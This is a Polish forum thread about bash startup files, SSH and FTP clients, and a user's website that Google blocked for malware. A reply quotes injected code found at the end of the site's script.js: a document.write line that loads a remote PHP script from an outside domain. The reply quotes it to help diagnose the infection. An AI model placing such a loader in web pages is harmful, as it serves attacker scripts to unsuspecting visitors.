Jump to content

Unix, FTP


coder
 Share

Recommended Posts

.bashrc to mamy dla powłoki bash, a wcale taka nie musi być używana, prawda ;-) A jeśli idzie o program pod Windowsem... ja tam uznaję tylko jeden, putty a to co mi do szczęścia potrzebne to już na docelowym systemie, szczególnie ulubiony jest MC.

Link to comment
Share on other sites

.bashrc to mamy dla powłoki bash, a wcale taka nie musi być używana, prawda ;-)

No właśnie... :) Ja zostałem "wychowany" na .profile i czy nie mogło tak pozostać? Musieli dla każdego shella robić inaczej :/

 

Coder: do ftp (i nie tylko) pod Windows również polecam Total Commander.

Link to comment
Share on other sites

No właśnie... :) Ja zostałem "wychowany" na .profile i czy nie mogło tak pozostać?

O ile mnie pamięć nie myli to .profile będzie działać, jeśli je sobie umieścimy w katalogu, w /etc też powinien leżeć profile, który w którymś tam momencie działa... Chociaż trudno powiedzieć w którą stronę systemy idą, na PLD zawsze było bogate życie wewnętrzne, dużo kombinowania, wieczny sojusz z vi ;-) To se ne vrati :-/

Edited by panta_rei
Link to comment
Share on other sites

$ man bash

 

I w sekcji "invocation" mamy:

 

A login shell is one whose first character of argument zero is a -, or one started with the --login option.

An interactive shell is one started without non-option arguments and without the -c option whose standard input and error are both connected to terminals (as determined byisatty(3)), or one started with the -i option. PS1 is set and $- includes i if bash is interactive, allowing a shell script or a startup file to test this state.

The following paragraphs describe how bash executes its startup files. If any of the files exist but cannot be read, bash reports an error. Tildes are expanded in file names as described below under Tilde Expansion in the EXPANSION section.

When bash is invoked as an interactive login shell, or as a non-interactive shell with the --login option, it first reads and executes commands from the file /etc/profile, if that file exists. After reading that file, it looks for ~/.bash_profile, ~/.bash_login, and ~/.profile, in that order, and reads and executes commands from the first one that exists and is readable. The --noprofile option may be used when the shell is started to inhibit this behavior.

When a login shell exits, bash reads and executes commands from the files ~/.bash_logout and /etc/bash.bash_logout, if the files exists.

When an interactive shell that is not a login shell is started, bash reads and executes commands from ~/.bashrc, if that file exists. This may be inhibited by using the --norcoption. The --rcfile file option will force bash to read and execute commands from file instead of ~/.bashrc.

When bash is started non-interactively, to run a shell script, for example, it looks for the variable BASH_ENV in the environment, expands its value if it appears there, and uses the expanded value as the name of a file to read and execute. Bash behaves as if the following command were executed:

If bash is invoked with the name sh, it tries to mimic the startup behavior of historical versions of sh as closely as possible, while conforming to the POSIX standard as well. When invoked as an interactive login shell, or a non-interactive shell with the --login option, it first attempts to read and execute commands from /etc/profile and ~/.profile, in that order. The --noprofile option may be used to inhibit this behavior. When invoked as an interactive shell with the name sh, bash looks for the variable ENV, expands its value if it is defined, and uses the expanded value as the name of a file to read and execute. Since a shell invoked as sh does not attempt to read and execute commands from any other startup files, the --rcfile option has no effect. A non-interactive shell invoked with the name sh does not attempt to read any other startup files. When invoked as sh,bash enters posix mode after the startup files are read.

When bash is started in posix mode, as with the --posix command line option, it follows the POSIX standard for startup files. In this mode, interactive shells expand the ENVvariable and commands are read and executed from the file whose name is the expanded value. No other startup files are read.

Bash attempts to determine when it is being run with its standard input connected to a a network connection, as if by the remote shell daemon, usually rshd, or the secure shell daemon sshd. If bash determines it is being run in this fashion, it reads and executes commands from ~/.bashrc, if that file exists and is readable. It will not do this if invoked as sh. The --norc option may be used to inhibit this behavior, and the --rcfile option may be used to force another file to be read, but rshd does not generally invoke the shell with those options or allow them to be specified. if [ -n "$BASH_ENV" ]; then . "$BASH_ENV"; fi but the value of the PATH variable is not used to search for the file name.

http://linux.die.net/man/1/bash Ze spokojem można założyć, że 98% instancji linuksa ma bash jako powłokę. Pozostałymi można się nie przejmować, to są niepoważni ludzie. :D
Link to comment
Share on other sites

Dzięki za pomoc.

 

Gugiel zablokował mi stronę www.coder.pl , że niby są na niej wirusy.

Ściągnąłem wszystko, przeskanowałem i wszystko było czyste, żadnych obcych skryptów też nie ma.

Wygląda na to, że zabezpieczenie antypirackie programów na stronie wydaje im się podobne do wirusa, i co im zrobisz?

Link to comment
Share on other sites

Dzięki za pomoc.

 

Gugiel zablokował mi stronę www.coder.pl , że niby są na niej wirusy.

Ściągnąłem wszystko, przeskanowałem i wszystko było czyste, żadnych obcych skryptów też nie ma.

Wygląda na to, że zabezpieczenie antypirackie programów na stronie wydaje im się podobne do wirusa, i co im zrobisz?

A sprawdzałeś w Narzędziach dla Webmasterów co tam piszą?

Link to comment
Share on other sites

Obejrzyj sobie koniec pliku script.js, masz tam coś takiego:

 

/*fc909b*/
document.write("<script src='http://www.marcocretarola.com/CD3JQMqg.php?id=143583305' type='text/javascript'></" +	  "script>");
/*/fc909b*/

 

To na pewno zamierzony efekt? Bo ta strona też jest na liście zablokowanych.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.